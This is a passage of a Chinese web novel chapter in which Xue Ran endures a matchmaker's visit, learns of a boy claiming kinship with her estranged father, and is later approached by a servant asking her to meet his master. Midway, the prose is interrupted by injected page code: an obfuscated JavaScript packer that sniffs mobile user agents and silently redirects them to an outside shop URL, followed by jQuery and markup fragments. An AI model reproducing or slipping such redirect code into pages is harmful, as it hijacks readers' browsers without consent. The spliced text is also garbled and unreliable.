大凡男人,纵是吃了上顿没下顿的,也务必要娶一位妻子,这是一条举世公认的真理。
因为无妻是一种症。
娶妻百病全消。
不孝子自此有妻奉养双亲,浪荡子等妻生子就会回头。
而他们就可以快快乐乐地重作少年。
可她只要一个安分周正的男人,装点门面就好,孩子不需他生,家业不需他打理,更没有七八个弟弟妹妹等他养,竟如此费劲。
薛苒盯着对面人一开一合的嘴,已是神游天外。
王婆在卖瓜,还是滞销的陈瓜。
她娘大约前些日子就与王婆相议好了,昨日甫一松口,便知会了那边。钱也配这婆子赚,一大早便来登门造访。
于是她早早从被窝被挖出来,呆滞地坐在这听着,捏着手里一沓名帖,糟心无比。
原也是抗议的,喊着自己去找。
“我放了你,回头又镇日闷铺子里头,都是病患,要在里头等缘分上门?先给你掌过眼不好吗?你又能断定里头没有可心的?”
“人都上门了,还要三请四邀吗?再不高兴今天也做个样子,下回我也不劳心了!”
“随便你吧。我是管不了你了。”
一句话惹来一叠骂,薛苒掏了掏耳朵,想了想例银,暂且忍了,挤着个微笑出来,端的是落落大方。
然而现下她已然在崩溃边缘,快要维持不住这点体面。
若是她娘晚间问起来,她一定要用最直接、最客观、最不绕弯子、最一阵见血、最容易理解的方式告诉她……
我一个都不想见!
她娘当真先过了一番吗?那旁的还得烂成什么样子。
薛苒又倒了杯茶压压惊,细啜着微苦的茶水醒醒神,一叠帖子搁在桌上,滑出张人像,只消瞟一眼,口中更是苦涩难当。
一杯杯灌下来,壶已见底。苏合在一旁也听麻了,忙上前:“婢子去换壶热茶。”
说着拎起茶壶匆匆去了隔间。
薛苒怅然,捏着茶盏,好似借酒消愁,只恨知己远去,无人对酌。
岂是她挑剔?
纵是收药材,成色最上等的也早有人在产地收购,流不到市上。
稍甜的不烂的瓜,头茬就被定了,这会哪里轮得到她呢?
还是说……该找个小的?那决计不至于定那么早。
但也不成……品性未定,万一养歪了呢。
脑袋里天人交战,心乱如麻,薛苒挪了挪坐得发麻的屁股,突发奇想:“王阿婶,你说……倘若我有个兄弟,配得上哪些姑娘?”
王婆说得唾沫横飞,闻言一愣,惊疑不定瞧她。
薛苒正低着头吹散茶沫:“城西金银铺家的小姐,甚至县令家的姑娘……我觍着脸是不是也能求一求?”
早些时候连年战乱,哪怕启朝初定,地方上大大小小仍有摩擦,命贱如草,生病更是小事了。
祖母却不恤其身,涉险奔走四方,负笈行医。诸如南越,昔年蛮荒之地,医资匮乏,更有言语不通,祖母以摇铃招徕病患,并驻此间教化百姓,亲授医术,民间甚至有“铃仙”一称。先帝得知,赞其仁心,更赐金铃,闻众病苦,如朕亲临。
如今她家在镇上开着药铺,鹤城里头还入股了几间铺子,百亩良田,还有赏赐来的金银器皿自不必说。
家底殷实、门风清正。换成男儿,她自然是世人眼中的乘龙快婿。
可她是个女儿,她要招赘,只要不是家中吃不起饭的,或是有旁的隐疾的,都舍不下这个面子上门。
王婆哪知她心里不忿?小心观她面色,磕磕绊绊迟疑道:“这这这,莫不是要替小公子……”
任她说得天花乱坠,这薛小姐意兴阑珊的,原来今日这重头戏,另有其人?
也难怪,那位那样的出身,的确不大好张扬。
薛苒:“……?”
没听懂,但直觉不好。
见她满面诧异,眼风如刃,王婆便知不对,恨不得自打这乱秃噜的嘴巴,满头大汗,眼神飘忽。暗恼着自己急着揽这门生意,出门却没看黄历。
情急生计,捧着肚子连声哎哟。
“这……老婆子贪凉,早上喝了瓢冷水,哎哟,这肚子闹腾……”边说着,瞟着薛苒。
苏合恰端着水过来,闻言见气氛滞涩,薛苒面色沉沉,亦知其意,连忙放下,皮笑肉不笑道:“那我带您去净房。等回来再让小姐给您瞧瞧,入了伏暑气毒人,您别慌,咱们家里也是常备着些药的。
“纵是中暑晕了,也能给您刺起来。”
王婆愁眉苦脸,一路这丫头背后灵一样附着,找不得机会脱身。等回来再装不得,只得喝了碗水腹痛全消,老老实实一五一十道来。
原来上月,有一个十三四岁的孩子,来仙桥镇寻亲。
十几年前,他父外出路遇劫匪,被他母所救,二人互许终身,却不料,他父已娶妻,且善妒,不允纳妾。
他父亲临走前言之凿凿定会说服家中,然而一去多年未归,他母亲独自生下他,二人相依为命,直至母亲临终才告知身世。
薛苒:???
“那同我……”又有什么关系。
没问出口,王婆嘴皮子快,她已得到了答案。
问题就出在,那少年的信物,是一个铃铛,并还依稀记得,父亲家中是做药材生意的。
薛苒默然,良久气极反笑。
母亲幼时骄纵,非要那供于阁中的金铃。然而天子赐物,岂能予小儿随意赏玩?是故祖母为她另打了一对小铃铛,而后情绻之时,予了夫婿一只,又作同心之意。
她大约猜到怎么回事,嗤笑:“咱们这,什么时候出了位多情的药铺少爷?那孩子寻去芝兰堂了?”
上月她到周边山镇采买,回来又因同母亲吵嘴,连了几天没去铺子,怪道这家中仆婢总怪怪的,大约母亲勒令不许传到她耳朵里。
王婆挤眉弄眼:“是,您也知道,仙桥镇巴掌大的地方,论铃医起家的,也就……”
薛苒似笑非笑:“后来呢?您耳目灵通,可知下落?”
王婆:“这……老婆子真不知,只知道那少年进了芝兰堂,后面,就没信儿了。坊间猜测,是……”
薛苒不想搭理:“生死不知那就当死了。”
也是,因再没什么动静,教旁人以为甚至和解了,才能被她随口一句话诈出来。
见王婆一脸惊慌,又吃吃笑:“同您玩笑呢!我们家清清白白的生意,哪里会沾上人命官司。”
王婆也跟着笑。
“大约是认错了打发走了。”薛苒收了笑,“您也知道,我娘休夫已是十年了,这么大的孩子,同我们有什么干系?母亲怜惜我,既不欲我掺和,大家也更不必再为我家闲事费心了。”
王婆连连称是。
又闲谈几句,见她有些倦意,王婆也起身告辞。
苏合取银子送客,又“哎呀”一声。
薛苒瞟一眼,笑骂:“怎么将银子和我刚制的柳叶刀收在一起,你这笨丫头。”
王婆觑她面色,依旧是笑语盈盈闲话一般,心想怪道有些传言这薛小姐有些匪气,先前没看出来,这威胁都晃在明面上。
嚼舌根漏到正主上,她自然也不敢在外头多嘴,假作不知赔着笑,告辞溜了。
……
新换的热茶也凉透了,薛苒牛嚼牡丹一口饮尽。
“怎么办啊小姐?”苏合小心翼翼试探。
薛苒闭眼,整个人摊在椅背上,沉默不语。
依她的了解,八成是真有这么个人。
而她娘极好面子,不肯别人看她笑话。现在瞒下她,大约是私下塞钱打发了。
就是不知是一劳永逸还是无休止境。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861459|212013||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
她下意识暗骂那阴魂不散的害人精……他怎么不去死?
原来已经死了。
薛苒冷笑,指甲刮过桌面,咯吱作响。
苏合听得牙酸,浑身瘆得慌。
“你去……找窈娘探探口风。”
“好好好!午后就去……小姐别刮了,这指甲是不是都劈了?”
“……看着不太像?算了,先忙吧,又碍事,晚间回来再修剪。”
*
糟心事一件又一件。
薛苒魂不守舍,姜汁溅到脸上,顺手又打翻了药粉。
知来忍了又忍,到底忍不住:“少东家心绪不宁,还是我来吧。”
昨日才入伏,冬病夏治,未料先前预做的三伏贴数量已是不足,紧赶慢赶地又在后头手搓。
可薛苒魂不守舍,说是帮忙,实则添乱。
“抱歉,知来姐……我……”
想找个借口,一时没想起。
知来接过药臼,不接她的话头。
薛苒擦了擦脸,又将桌案擦净。
她原打定主意装作若无其事,自个儿偷偷调查,但看着芝兰堂一斗一格,忍不住就恍了神。
好像那被骗的母子这会又闯进来,激愤之下抽了一耳刮子在她脸上。
可她娘亦是受害者!为什么她们得受这个难堪?
……
专注现下,薛苒臊眉耷眼接着赔不是:“对不住对不住,不然,我晚间再赶工补上。”
知来研着粉,并不看她,却递了个台阶:“热昏头了?到风口吹吹。”
薛苒就乖乖倚过去,其实也清爽不了几分,午间连风都混着热气。窗外静水似热汤。
旁边学徒小鱼打圆场:“今年好像格外热呢。”
这倒所言不假,自这两日天似蒸笼。她们倒还好,一旁火制区整日烟尘热浪,才叫难捱。
薛苒本就为自己误事而歉疚,又一想不若买些香饮子解暑。
当下问询众人喜好忌口,列了个单子。
知来本不欲掺和,架不住她缠歪,只说随意即可。
总算得偿所愿,心情稍有好转,她随手拿顶帷帽,提步出门。
……
“哎哟,大小姐,这大热天的,小老儿也就赚个辛苦钱,您看这冰都快化了。”
“真不是诓您,今年暑热,生意极好,我这存的冰本也不多了……”
熟悉的摊主今日未来,原本大约十文钱的饮子生生变成十五文,薛苒不想作这冤大头,又因买得多,才多问了几句,未想这摊主好说歹说一文都不肯降。
就在她晒得无可奈何准备掏钱时,冤大头来了。
“这位姑娘的,我替她付了。”
薛苒莫名其妙:“干嘛?”
眼一横,这人似乎有些熟悉。
砚舟上前一揖:“薛小姐,前日冒犯了。”
噢,是那人身边凶巴巴的……谁来着?
她想不起来,好在砚舟也不觉尴尬,又自介绍了一番。
“嗳,倒也不用这么客气,本就是我失礼。”薛苒不好意思,眼又往边上一扫,“就你一个?”
他就一副欲言又止的样子,像被架在火上烤的嫌犯,偏又是被冤枉,供不出什么。
薛苒想了想:“天这么热,别杵在这叙旧了。不用你破费了,是给铺子里伙计点的,足足十来杯呢,你搭把手就行,有什么也好回去路上说。”
砚舟如蒙大赦,挽起袖子拎起随行。
又拐过一巷,这人还不吭声,薛苒憋不住:“现在可以说了罢?”
那一路沉默的人显然依旧没酝酿好词句,磕磕巴巴:“我……是有一个不情之请。”
薛苒不吭声,眼神示意他继续。
砚舟心一横:“我请小姐,见我家公子一面。”
薛苒脱口而出:“为什么?”